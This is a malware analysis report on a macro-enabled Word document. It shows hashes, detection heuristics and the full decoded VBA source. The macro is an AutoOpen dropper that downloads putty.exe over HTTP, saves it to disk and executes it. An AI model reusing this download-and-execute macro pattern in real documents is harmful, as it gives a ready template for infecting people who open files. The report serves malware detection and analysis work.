Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 276b26ee19eb3008…

MALICIOUS

Office (OOXML)

26.9 KB Created: 2021-06-22 09:35:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-30
MD5: 4da28edd040304b8e753ad8a71f71d99 SHA-1: 76b7ba4621e5517218ebfdf5753f51a35e5463c9 SHA-256: 276b26ee19eb300843de95d56576171bac17a5335fcf3575d0de027e166902ca
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro that executes upon opening the document. This macro downloads a file named 'putty.exe' from the URL https://the.earth.li/~sgtatham/putty/0.75/w64/putty.exe and then executes it. This behavior is indicative of a dropper malware.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell "putty.exe"
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        oStream.Write WinHttpReq.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://the.earth.li/~sgtatham/putty/0.75/w64/putty.exeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 977 bytes
SHA-256: afc3fd58de7e7c22c8419d85c0ee4999ac9fa9a7783cdfaa2939922204c6f095
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milloseconds As LongPtr)
Sub AutoOpen()
Dim myURL As String
myURL = "https://the.earth.li/~sgtatham/putty/0.75/w64/putty.exe"
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False, "username", "password"
WinHttpReq.send
If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject("ADODB.Stream")
    oStream.Open
    oStream.Type = 1
    oStream.Write WinHttpReq.responseBody
    oStream.SaveToFile "putty.exe", 2 ' 1 = no overwrite, 2 = overwrite
    oStream.Close
    Shell "putty.exe"
End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: 435cf073dbb03c032ebd105db794367afc75a10221d3cbb22553a060edcf32d0
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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